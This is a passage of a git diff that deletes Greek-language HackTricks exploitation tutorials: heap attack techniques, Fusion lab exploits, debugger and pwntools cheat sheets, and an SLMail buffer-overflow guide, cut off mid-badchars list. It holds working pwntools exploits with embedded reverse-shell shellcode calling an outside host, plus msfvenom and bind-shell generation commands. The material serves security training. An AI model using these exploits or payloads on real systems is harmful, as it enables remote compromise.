δείχνει στο $EIP-8 για την επόμενη κλήση malloc() θα είναι: - -0xbffff224 - 0x080c2788 = 3086207644. - -Έτσι θα αποθηκευτεί στο av->top η τροποποιημένη τιμή και η επόμενη malloc θα δείχνει στο EIP και θα μπορεί να το υπεργράψει. - -Είναι σημαντικό να γνωρίζουμε ότι το μέγεθος του νέου κομματιού wilderness είναι μεγαλύτερο από την αίτηση που έγινε από την τελευταία malloc(). Δηλαδή, εάν η wilderness δείχνει στο \&EIP-8, το μέγεθος θα είναι ακριβώς στο πεδίο EBP της στοίβας. - -**The House of Lore** - -**Διαφθορά SmallBin** - -Τα κομμάτια που απελευθερώνονται εισάγονται στο bin ανάλογα με το μέγεθός τους. Αλλά πριν εισαχθούν αποθηκεύονται σε unsorted bins. Ένα κομμάτι απελευθερωμένο δεν εισάγεται αμέσως στο bin του αλλά παραμένει σε unsorted bins. Στη συνέχεια, εάν ζητηθεί ένα νέο κομμάτι και το προηγούμενο απελευθερωμένο μπορεί να χρησιμοποιηθεί, επιστρέφεται, αλλά αν ζητηθεί μεγαλύτερο, το απελευθερωμένο κομμάτι σε unsorted bins εισάγεται στο κατάλληλο bin του. - -Για να φτάσουμε στον ευάλωτο κώδικα, η αίτηση μνήμης πρέπει να είναι μεγαλύτερη από το av->max_fast (72 συνήθως) και μικρότερη από το MIN_LARGE_SIZE (512). - -Εάν στο bin υπάρχει ένα κομμάτι του κατάλληλου μεγέθους για αυτό που ζητείται, επιστρέφεται αυτό μετά την αποσύνδεσή του: - -bck = victim->bk; Δείχνει στο προηγούμενο κομμάτι, είναι η μόνη πληροφορία που μπορούμε να τροποποιήσουμε. - -bin->bk = bck; Το προτελευταίο κομμάτι γίνεται το τελευταίο, σε περίπτωση που το bck δείχνει στη στοίβα, στο επόμενο κομμάτι που θα κρατηθεί θα δοθεί αυτή η διεύθυνση - -bck->fd = bin; Κλείνει τη λίστα κάνοντάς το να δείχνει στο bin - -Απαιτείται: - -Να κρατηθούν δύο malloc, έτσι ώστε στο πρώτο να μπορεί να γίνει υπερχείλιση αφού το δεύτερο έχει απελευθερωθεί και εισαχθεί στο bin του (δηλαδή, να έχει κρατηθεί ένα malloc μεγαλύτερο από το δεύτερο κομμάτι πριν γίνει η υπερχείλιση) - -Να ελέγχεται το malloc που κρατείται στο οποίο θα δοθεί η διεύθυνση που επιλέγει ο επιτιθέμενος. - -Ο στόχος είναι ο εξής, εάν μπορούμε να κάνουμε υπερχείλιση σε ένα heap που έχει από κάτω ένα κομμάτι που έχει ήδη απελευθερωθεί και είναι στο bin του, μπορούμε να τροποποιήσουμε τον δείκτη bk του. Εάν τροποποιήσουμε τον δείκτη bk του και αυτό το κομμάτι γίνει το πρώτο της λίστας του bin και κρατηθεί, το bin θα παραπλανηθεί και θα του πει ότι το τελευταίο κομμάτι της λίστας (το επόμενο που προσφέρεται) είναι στη διεύθυνση ψεύτικη που έχουμε βάλει (στη στοίβα ή GOT για παράδειγμα). Έτσι, εάν κρατηθεί ένα άλλο κομμάτι και ο επιτιθέμενος έχει δικαιώματα σε αυτό, θα του δοθεί ένα κομμάτι στη θέση που επιθυμεί και θα μπορεί να γράψει σε αυτήν. - -Μετά την απελευθέρωση του τροποποιημένου κομματιού είναι απαραίτητο να κρατηθεί ένα κομμάτι μεγαλύτερο από το απελευθερωμένο, έτσι το τροποποιημένο κομμάτι θα βγει από τα unsorted bins και θα εισαχθεί στο bin του. - -Μόλις είναι στο bin του, είναι η στιγμή να τροποποιηθεί ο δείκτης bk μέσω της υπερχείλισης ώστε να δείχνει στη διεύθυνση που θέλουμε να υπεργράψουμε. - -Έτσι, το bin θα περιμένει τη σειρά του ώστε να κληθούν αρκετές φορές malloc() ώστε να ξαναχρησιμοποιηθεί το τροποποιημένο bin και να παραπλανήσει το bin κάνοντάς του να πιστέψει ότι το επόμενο κομμάτι είναι στη ψεύτικη διεύθυνση. Και στη συνέχεια θα δοθεί το κομμάτι που μας ενδιαφέρει. - -Για να εκτελεστεί η ευαλωτότητα το συντομότερο δυνατό, το ιδανικό θα ήταν: Κράτηση του ευάλωτου κομματιού, κράτηση του κομματιού που θα τροποποιηθεί, απελευθέρωση αυτού του κομματιού, κράτηση ενός μεγαλύτερου κομματιού από το τροποποιημένο, τροποποίηση του κομματιού (ευαλωτότητα), κράτηση ενός κομματιού ίδιου μεγέθους με το τροποποιημένο και κράτηση ενός δεύτερου κομματιού ίδιου μεγέθους και αυτό θα είναι αυτό που θα δείχνει στη διεύθυνση που επιλέγεται. - -Για να προστατευτεί αυτή η επίθεση χρησιμοποιήθηκε η τυπική επαλήθευση ότι το κομμάτι “δεν” είναι ψεύτικο: ελέγχεται αν το bck->fd δείχνει στο victim. Δηλαδή, στην περίπτωσή μας αν ο δείκτης fd\* του κομματιού ψεύτικου που δείχνει στη στοίβα δείχνει στο victim. Για να παρακαμφθεί αυτή η προστασία, ο επιτιθέμενος θα πρέπει να είναι σε θέση να γράψει με κάποιο τρόπο (πιθανώς μέσω της στοίβας) στη σωστή διεύθυνση τη διεύθυνση του victim. Έτσι ώστε να φαίνεται σαν ένα πραγματικό κομμάτι. - -**Διαφθορά LargeBin** - -Απαιτούνται οι ίδιες προϋποθέσεις όπως πριν και μερικές ακόμη, επιπλέον τα κομμάτια που κρατούνται πρέπει να είναι μεγαλύτερα από 512. - -Η επίθεση είναι όπως η προηγούμενη, δηλαδή, πρέπει να τροποποιηθεί ο δείκτης bk και απαιτούνται όλες αυτές οι κλήσεις σε malloc(), αλλά επιπλέον πρέπει να τροποποιηθεί το μέγεθος του τροποποιημένου κομματιού έτσι ώστε αυτό το μέγεθος - nb να είναι < MINSIZE. - -Για παράδειγμα, θα κάνει να βάλουμε στο μέγεθος 1552 ώστε 1552 - 1544 = 8 < MINSIZE (η αφαίρεση δεν μπορεί να είναι αρνητική γιατί συγκρίνεται ένα unsigned) - -Επιπλέον, έχει εισαχθεί μια επιδιόρθωση για να γίνει ακόμη πιο περίπλοκο. - -**Heap Spraying** - -Βασικά συνίσταται στην κράτηση όλης της δυνατής μνήμης για heaps και γέμισμα αυτών με ένα στρώμα nops που καταλήγει σε μια shellcode. Επιπλέον, ως στρώμα χρησιμοποιείται το 0x0c. Έτσι, θα προσπαθήσουμε να παραλείψουμε στη διεύθυνση 0x0c0c0c0c, και έτσι αν υπεργραφεί κάποια διεύθυνση στην οποία θα κληθεί με αυτό το στρώμα θα παραλειφθεί εκεί. Βασικά η τακτική είναι να κρατήσουμε το μέγιστο δυνατό για να δούμε αν υπεργραφεί κάποιος δείκτης και να παραλείψουμε στο 0x0c0c0c0c περιμένοντας ότι εκεί θα υπάρχουν nops. - -**Heap Feng Shui** - -Συνίσταται στη σπορά της μνήμης μέσω κρατήσεων και απελευθερώσεων έτσι ώστε να παραμένουν κομμάτια κρατημένα ανάμεσα σε ελεύθερα κομμάτια. Το buffer που θα υπερχειλίσει θα τοποθετηθεί σε ένα από τα αυγά. - -**objdump -d εκτελέσιμο** —> Disas functions\ -**objdump -d ./ΠΡΟΓΡΑΜΜΑ | grep ΣΥΝΑΡΤΗΣΗ** —> Λάβετε τη διεύθυνση της συνάρτησης\ -**objdump -d -Mintel ./shellcodeout** —> Για να δείτε ότι είναι πράγματι η shellcode μας και να εξάγετε τους OpCodes\ -**objdump -t ./exec | grep varBss** —> Πίνακας συμβόλων, για να εξάγετε τη διεύθυνση μεταβλητών και συναρτήσεων\ -**objdump -TR ./exec | grep exit(func lib)** —> Για να εξάγετε τη διεύθυνση συναρτήσεων βιβλιοθηκών (GOT)\ -**objdump -d ./exec | grep funcCode**\ -**objdump -s -j .dtors /exec**\ -**objdump -s -j .got ./exec**\ -**objdump -t --dynamic-relo ./exec | grep puts** —> Εξάγει τη διεύθυνση του puts προς υπεργραφή στην GOT\ -**objdump -D ./exec** —> Disas ALL μέχρι τις εισόδους της plt\ -**objdump -p -/exec**\ -**Info functions strncmp —>** Πληροφορίες για τη συνάρτηση στο gdb - -## Ενδιαφέροντα μαθήματα - -- [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) -- [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) -- [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes) - -## **Αναφορές** - -- [**https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/linux-exploiting-basic-esp/fusion.md b/src/exploiting/linux-exploiting-basic-esp/fusion.md deleted file mode 100644 index 85256ac98..000000000 --- a/src/exploiting/linux-exploiting-basic-esp/fusion.md +++ /dev/null @@ -1,60 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -# Level00 - -[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/) - -1. Πάρτε την απόσταση για να τροποποιήσετε το EIP -2. Βάλτε τη διεύθυνση του shellcode στο EIP -```python -from pwn import * - -r = remote("192.168.85.181", 20000) - -buf = "GET " # Needed -buf += "A"*139 # Offset 139 -buf += p32(0xbffff440) # Stack address where the shellcode will be saved -buf += " HTTP/1.1" # Needed -buf += "\x90"*100 # NOPs - -#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python -buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b" -buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d" -buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b" -buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a" -buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31" -buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e" -buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41" -buf += "\x65\xd9\x0f\x01" - -r.recvline() -r.send(buf) -r.interactive() -``` -# Επίπεδο01 -```python -from pwn import * - -r = remote("192.168.85.181", 20001) - -buf = "GET " # Needed -buf += "A"*139 # Offset 139 -buf += p32(0x08049f4f) # Adress of: JMP esp -buf += p32(0x9090E6FF) # OPCODE: JMP esi (the esi register have the address of the shellcode) -buf += " HTTP/1.1" # Needed -buf += "\x90"*100 # NOPs - -#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python -buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b" -buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d" -buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b" -buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a" -buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31" -buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e" -buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41" -buf += "\x65\xd9\x0f\x01" - -r.send(buf) -r.interactive() -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/tools/README.md b/src/exploiting/tools/README.md deleted file mode 100644 index 296a3f90e..000000000 --- a/src/exploiting/tools/README.md +++ /dev/null @@ -1,210 +0,0 @@ -# Εργαλεία Εκμετάλλευσης - -{{#include ../../banners/hacktricks-training.md}} - -## Metasploit -``` -pattern_create.rb -l 3000 #Length -pattern_offset.rb -l 3000 -q 5f97d534 #Search offset -nasm_shell.rb -nasm> jmp esp #Get opcodes -msfelfscan -j esi /opt/fusion/bin/level01 -``` -### Shellcodes -``` -msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c -``` -## GDB - -### Εγκατάσταση -``` -apt-get install gdb -``` -### Παράμετροι -```bash --q # No show banner --x # Auto-execute GDB instructions from here --p # Attach to process -``` -### Οδηγίες -```bash -run # Execute -start # Start and break in main -n/next/ni # Execute next instruction (no inside) -s/step/si # Execute next instruction -c/continue # Continue until next breakpoint -p system # Find the address of the system function -set $eip = 0x12345678 # Change value of $eip -help # Get help -quit # exit - -# Disassemble -disassemble main # Disassemble the function called main -disassemble 0x12345678 # Disassemble taht address -set disassembly-flavor intel # Use intel syntax -set follow-fork-mode child/parent # Follow child/parent process - -# Breakpoints -br func # Add breakpoint to function -br *func+23 -br *0x12345678 -del # Delete that number of breakpoint -watch EXPRESSION # Break if the value changes - -# info -info functions --> Info abount functions -info functions func --> Info of the funtion -info registers --> Value of the registers -bt # Backtrace Stack -bt full # Detailed stack -print variable -print 0x87654321 - 0x12345678 # Caculate - -# x/examine -examine/ dir_mem/reg/puntero # Shows content of in where each entry is a -x/o 0xDir_hex -x/2x $eip # 2Words from EIP -x/2x $eip -4 # $eip - 4 -x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes) -i r eip # Value of $eip -x/w pointer # Value of the pointer -x/s pointer # String pointed by the pointer -x/xw &pointer # Address where the pointer is located -x/i $eip # Instructions of the EIP -``` -### [GEF](https://github.com/hugsy/gef) -```bash -help memory # Get help on memory command -canary # Search for canary value in memory -checksec #Check protections -p system #Find system function address -search-pattern "/bin/sh" #Search in the process memory -vmmap #Get memory mappings -xinfo # Shows page, size, perms, memory area and offset of the addr in the page -memory watch 0x784000 0x1000 byte #Add a view always showinf this memory -got #Check got table -memory watch $_got()+0x18 5 #Watch a part of the got table - -# Vulns detection -format-string-helper #Detect insecure format strings -heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap - -#Patterns -pattern create 200 #Generate length 200 pattern -pattern search "avaaawaa" #Search for the offset of that substring -pattern search $rsp #Search the offset given the content of $rsp - -#Shellcode -shellcode search x86 #Search shellcodes -shellcode get 61 #Download shellcode number 61 - -#Another way to get the offset of to the RIP -1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it -2- ef➤ i f -Stack level 0, frame at 0x7fffffffddd0: -rip = 0x400cd3; saved rip = 0x6261617762616176 -called by frame at 0x7fffffffddd8 -Arglist at 0x7fffffffdcf8, args: -Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 -Saved registers: -rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 -gef➤ pattern search 0x6261617762616176 -[+] Searching for '0x6261617762616176' -[+] Found at offset 184 (little-endian search) likely -``` -### Tricks - -#### GDB ίδιες διευθύνσεις - -Κατά την αποσφαλμάτωση, το GDB θα έχει **ελαφρώς διαφορετικές διευθύνσεις από αυτές που χρησιμοποιούνται από το δυαδικό αρχείο κατά την εκτέλεση.** Μπορείτε να κάνετε το GDB να έχει τις ίδιες διευθύνσεις κάνοντας: - -- `unset env LINES` -- `unset env COLUMNS` -- `set env _=` _Βάλτε την απόλυτη διαδρομή στο δυαδικό αρχείο_ -- Εκμεταλλευτείτε το δυαδικό αρχείο χρησιμοποιώντας την ίδια απόλυτη διαδρομή -- `PWD` και `OLDPWD` πρέπει να είναι οι ίδιες κατά τη χρήση του GDB και κατά την εκμετάλλευση του δυαδικού αρχείου - -#### Backtrace για να βρείτε τις κλήσεις συναρτήσεων - -Όταν έχετε ένα **στατικά συνδεδεμένο δυαδικό αρχείο**, όλες οι συναρτήσεις θα ανήκουν στο δυαδικό αρχείο (και όχι σε εξωτερικές βιβλιοθήκες). Σε αυτή την περίπτωση, θα είναι δύσκολο να **εντοπίσετε τη ροή που ακολουθεί το δυαδικό αρχείο για παράδειγμα να ζητήσει είσοδο από τον χρήστη.**\ -Μπορείτε εύκολα να εντοπίσετε αυτή τη ροή **τρέχοντας** το δυαδικό αρχείο με **gdb** μέχρι να σας ζητηθεί είσοδος. Στη συνέχεια, σταματήστε το με **CTRL+C** και χρησιμοποιήστε την εντολή **`bt`** (**backtrace**) για να δείτε τις κλήσεις συναρτήσεων: -``` -gef➤ bt -#0 0x00000000004498ae in ?? () -#1 0x0000000000400b90 in ?? () -#2 0x0000000000400c1d in ?? () -#3 0x00000000004011a9 in ?? () -#4 0x0000000000400a5a in ?? () -``` -### GDB server - -`gdbserver --multi 0.0.0.0:23947` (στην IDA πρέπει να συμπληρώσετε τη απόλυτη διαδρομή του εκτελέσιμου στη Linux μηχανή και στη Windows μηχανή) - -## Ghidra - -### Βρείτε την απόσταση στο stack - -**Ghidra** είναι πολύ χρήσιμο για να βρείτε την **απόσταση** για μια **buffer overflow χάρη στις πληροφορίες σχετικά με τη θέση των τοπικών μεταβλητών.**\ -Για παράδειγμα, στο παρακάτω παράδειγμα, μια ροή buffer στο `local_bc` υποδεικνύει ότι χρειάζεστε μια απόσταση `0xbc`. Επιπλέον, αν το `local_10` είναι ένα canary cookie, υποδεικνύει ότι για να το παρακάμψετε από το `local_bc` υπάρχει μια απόσταση `0xac`.\ -_Θυμηθείτε ότι τα πρώτα 0x08 από όπου αποθηκεύεται το RIP ανήκουν στο RBP._ - -![](<../../images/image (616).png>) - -## GCC - -**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Συμπίεση χωρίς προστασίες\ -**-o** --> Έξοδος\ -**-g** --> Αποθήκευση κώδικα (το GDB θα μπορεί να το δει)\ -**echo 0 > /proc/sys/kernel/randomize_va_space** --> Για να απενεργοποιήσετε το ASLR στο linux - -**Για να συμπιέσετε ένα shellcode:**\ -**nasm -f elf assembly.asm** --> επιστρέφει ένα ".o"\ -**ld assembly.o -o shellcodeout** --> Εκτελέσιμο - -## Objdump - -**-d** --> **Αποσυναρμολόγηση εκτελέσιμων** τμημάτων (δείτε τα opcodes ενός συμπιεσμένου shellcode, βρείτε ROP Gadgets, βρείτε διεύθυνση συνάρτησης...)\ -**-Mintel** --> **Σύνταξη Intel**\ -**-t** --> **Πίνακας συμβόλων**\ -**-D** --> **Αποσυναρμολόγηση όλων** (διεύθυνση στατικής μεταβλητής)\ -**-s -j .dtors** --> τμήμα dtors\ -**-s -j .got** --> τμήμα got\ -\-D -s -j .plt --> **plt** τμήμα **αποσυναρμολόγησης**\ -**-TR** --> **Μετατοπίσεις**\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> Διεύθυνση του "puts" για τροποποίηση στο GOT\ -**objdump -D ./exec | grep "VAR_NAME"** --> Διεύθυνση ή μια στατική μεταβλητή (αυτές αποθηκεύονται στην τμήμα DATA). - -## Core dumps - -1. Εκτελέστε `ulimit -c unlimited` πριν ξεκινήσετε το πρόγραμμα μου -2. Εκτελέστε `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` -3. sudo gdb --core=\ --quiet - -## Περισσότερα - -**ldd εκτελέσιμο | grep libc.so.6** --> Διεύθυνση (αν ASLR, τότε αυτό αλλάζει κάθε φορά)\ -**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Βρόχος για να δείτε αν η διεύθυνση αλλάζει πολύ\ -**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Απόσταση του "system"\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Απόσταση του "/bin/sh" - -**strace εκτελέσιμο** --> Λειτουργίες που καλούνται από το εκτελέσιμο\ -**rabin2 -i ejecutable -->** Διεύθυνση όλων των λειτουργιών - -## **Inmunity debugger** -```bash -!mona modules #Get protections, look for all false except last one (Dll of SO) -!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) -``` -## IDA - -### Αποσφαλμάτωση σε απομακρυσμένο linux - -Μέσα στον φάκελο IDA μπορείτε να βρείτε δυαδικά αρχεία που μπορούν να χρησιμοποιηθούν για να αποσφαλματώσετε ένα δυαδικό αρχείο μέσα σε ένα linux. Για να το κάνετε αυτό, μετακινήστε το δυαδικό αρχείο _linux_server_ ή _linux_server64_ μέσα στον linux server και εκτελέστε το μέσα στον φάκελο που περιέχει το δυαδικό: -``` -./linux_server64 -Ppass -``` -Στη συνέχεια, ρυθμίστε τον αποσφαλματωτή: Debugger (linux remote) --> Επιλογές διαδικασίας...: - -![](<../../images/image (101).png>) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/tools/pwntools.md b/src/exploiting/tools/pwntools.md deleted file mode 100644 index 696d6e573..000000000 --- a/src/exploiting/tools/pwntools.md +++ /dev/null @@ -1,146 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} -``` -pip3 install pwntools -``` -# Pwn asm - -Λάβετε opcodes από γραμμή ή αρχείο. -``` -pwn asm "jmp esp" -pwn asm -i -``` -**Μπορεί να επιλέξει:** - -- τύπος εξόδου (raw, hex, string, elf) -- περιεχόμενο αρχείου εξόδου (16, 32, 64, linux, windows...) -- αποφυγή byte (νέες γραμμές, null, μια λίστα) -- επιλέξτε encoder debug shellcode χρησιμοποιώντας gdb εκτελέστε την έξοδο - -# **Pwn checksec** - -Checksec script -``` -pwn checksec -``` -# Pwn constgrep - -# Pwn cyclic - -Πάρε ένα μοτίβο -``` -pwn cyclic 3000 -pwn cyclic -l faad -``` -**Μπορεί να επιλεγεί:** - -- Το χρησιμοποιούμενο αλφάβητο (χαμηλά γράμματα από προεπιλογή) -- Μήκος μοναδικού μοτίβου (προεπιλογή 4) -- συμφραζόμενα (16,32,64,linux,windows...) -- Πάρτε την απόκλιση (-l) - -# Pwn debug - -Συνδέστε το GDB σε μια διαδικασία -``` -pwn debug --exec /bin/bash -pwn debug --pid 1234 -pwn debug --process bash -``` -**Μπορεί να επιλεγεί:** - -- Με εκτελέσιμο, με όνομα ή με pid context (16,32,64,linux,windows...) -- gdbscript προς εκτέλεση -- sysrootpath - -# Pwn disablenx - -Απενεργοποίηση nx ενός δυαδικού αρχείου -``` -pwn disablenx -``` -# Pwn disasm - -Αποσυναρμολόγηση hex opcodes -``` -pwn disasm ffe4 -``` -**Μπορεί να επιλέξει:** - -- συμφραζόμενα (16,32,64,linux,windows...) -- βασική διεύθυνση -- χρώμα (προεπιλογή)/χωρίς χρώμα - -# Pwn elfdiff - -Εκτυπώνει τις διαφορές μεταξύ 2 αρχείων -``` -pwn elfdiff -``` -# Pwn hex - -Λάβετε την εξαγωγή σε δεκαεξαδική μορφή -```bash -pwn hex hola #Get hex of "hola" ascii -``` -# Pwn phd - -Πάρε hexdump -``` -pwn phd -``` -**Μπορεί να επιλέξει:** - -- Αριθμός byte προς εμφάνιση -- Αριθμός byte ανά γραμμή για επισήμανση byte -- Παράλειψη byte στην αρχή - -# Pwn pwnstrip - -# Pwn scrable - -# Pwn shellcraft - -Αποκτήστε shellcodes -``` -pwn shellcraft -l #List shellcodes -pwn shellcraft -l amd #Shellcode with amd in the name -pwn shellcraft -f hex amd64.linux.sh #Create in C and run -pwn shellcraft -r amd64.linux.sh #Run to test. Get shell -pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port -``` -**Μπορεί να επιλέξει:** - -- shellcode και παραμέτρους για το shellcode -- Έξοδος αρχείου -- μορφή εξόδου -- αποσφαλμάτωση (σύνδεση dbg με το shellcode) -- πριν (παγίδα αποσφαλμάτωσης πριν από τον κώδικα) -- μετά -- αποφυγή χρήσης opcodes (προεπιλογή: όχι κενό και νέα γραμμή) -- Εκτέλεση του shellcode -- Χρώμα/χωρίς χρώμα -- λίστα syscalls -- λίστα πιθανών shellcodes -- Δημιουργία ELF ως κοινή βιβλιοθήκη - -# Πρότυπο Pwn - -Πάρτε ένα πρότυπο python -``` -pwn template -``` -**Μπορεί να επιλεγεί:** host, port, user, pass, path και quiet - -# Pwn unhex - -Από hex σε string -``` -pwn unhex 686f6c61 -``` -# Pwn ενημέρωση - -Για να ενημερώσετε το pwntools -``` -pwn update -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md deleted file mode 100644 index b16a50b34..000000000 --- a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md +++ /dev/null @@ -1,237 +0,0 @@ -# Windows Exploiting (Basic Guide - OSCP lvl) - -{{#include ../banners/hacktricks-training.md}} - -## **Αρχίστε να εγκαθιστάτε την υπηρεσία SLMail** - -## Επανεκκίνηση της υπηρεσίας SLMail - -Κάθε φορά που χρειάζεται να **επανεκκινήσετε την υπηρεσία SLMail** μπορείτε να το κάνετε χρησιμοποιώντας την κονσόλα των Windows: -``` -net start slmail -``` -![](<../images/image (23) (1).png>) - -## Πολύ βασικό πρότυπο εκμετάλλευσης python -```python -#!/usr/bin/python - -import socket - -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -ip = '10.11.25.153' -port = 110 - -buffer = 'A' * 2700 -try: -print "\nLaunching exploit..." -s.connect((ip, port)) -data = s.recv(1024) -s.send('USER username' +'\r\n') -data = s.recv(1024) -s.send('PASS ' + buffer + '\r\n') -print "\nFinished!." -except: -print "Could not connect to "+ip+":"+port -``` -## **Αλλαγή Γραμματοσειράς Immunity Debugger** - -Πηγαίνετε στο `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` - -## **Συνδέστε τη διαδικασία με το Immunity Debugger:** - -**File --> Attach** - -![](<../images/image (24) (1) (1).png>) - -**Και πατήστε το κουμπί START** - -## **Στείλτε την εκμετάλλευση και ελέγξτε αν επηρεάζεται το EIP:** - -![](<../images/image (25) (1) (1).png>) - -Κάθε φορά που διακόπτετε την υπηρεσία, θα πρέπει να την επανεκκινείτε όπως αναφέρεται στην αρχή αυτής της σελίδας. - -## Δημιουργήστε ένα μοτίβο για να τροποποιήσετε το EIP - -Το μοτίβο θα πρέπει να είναι όσο το δυνατόν μεγαλύτερο από το buffer που χρησιμοποιήσατε για να διακόψετε την υπηρεσία προηγουμένως. - -![](<../images/image (26) (1) (1).png>) -``` -/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 -``` -Αλλάξτε το buffer της εκμετάλλευσης και ορίστε το μοτίβο και εκκινήστε την εκμετάλλευση. - -Μια νέα συντριβή θα πρέπει να εμφανιστεί, αλλά με διαφορετική διεύθυνση EIP: - -![](<../images/image (27) (1) (1).png>) - -Ελέγξτε αν η διεύθυνση ήταν στο μοτίβο σας: - -![](<../images/image (28) (1) (1).png>) -``` -/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 -``` -Φαίνεται ότι **μπορούμε να τροποποιήσουμε το EIP στην απόσταση 2606** του buffer. - -Ελέγξτε το τροποποιώντας το buffer της εκμετάλλευσης: -``` -buffer = 'A'*2606 + 'BBBB' + 'CCCC' -``` -Με αυτό το buffer, το EIP που κατέρρευσε θα πρέπει να δείχνει στο 42424242 ("BBBB") - -![](<../images/image (30) (1) (1).png>) - -![](<../images/image (29) (1) (1).png>) - -Φαίνεται ότι λειτουργεί. - -## Έλεγχος για χώρο Shellcode μέσα στη στοίβα - -600B θα πρέπει να είναι αρκετό για οποιοδήποτε ισχυρό shellcode. - -Ας αλλάξουμε το bufer: -``` -buffer = 'A'*2606 + 'BBBB' + 'C'*600 -``` -εκκινήστε την νέα εκμετάλλευση και ελέγξτε το EBP και το μήκος του χρήσιμου shellcode - -![](<../images/image (31) (1).png>) - -![](<../images/image (32) (1).png>) - -Μπορείτε να δείτε ότι όταν επιτευχθεί η ευπάθεια, το EBP δείχνει στο shellcode και ότι έχουμε πολύ χώρο για να τοποθετήσουμε ένα shellcode εδώ. - -Σε αυτή την περίπτωση έχουμε **από 0x0209A128 έως 0x0209A2D6 = 430B.** Αρκετό. - -## Έλεγχος για κακά χαρακτήρες - -Αλλάξτε ξανά το buffer: -``` -badchars = ( -"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" -"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" -"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" -"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" -"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" -"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" -"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" -"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" -"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" -"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" -"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" -"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" -"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" -"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" 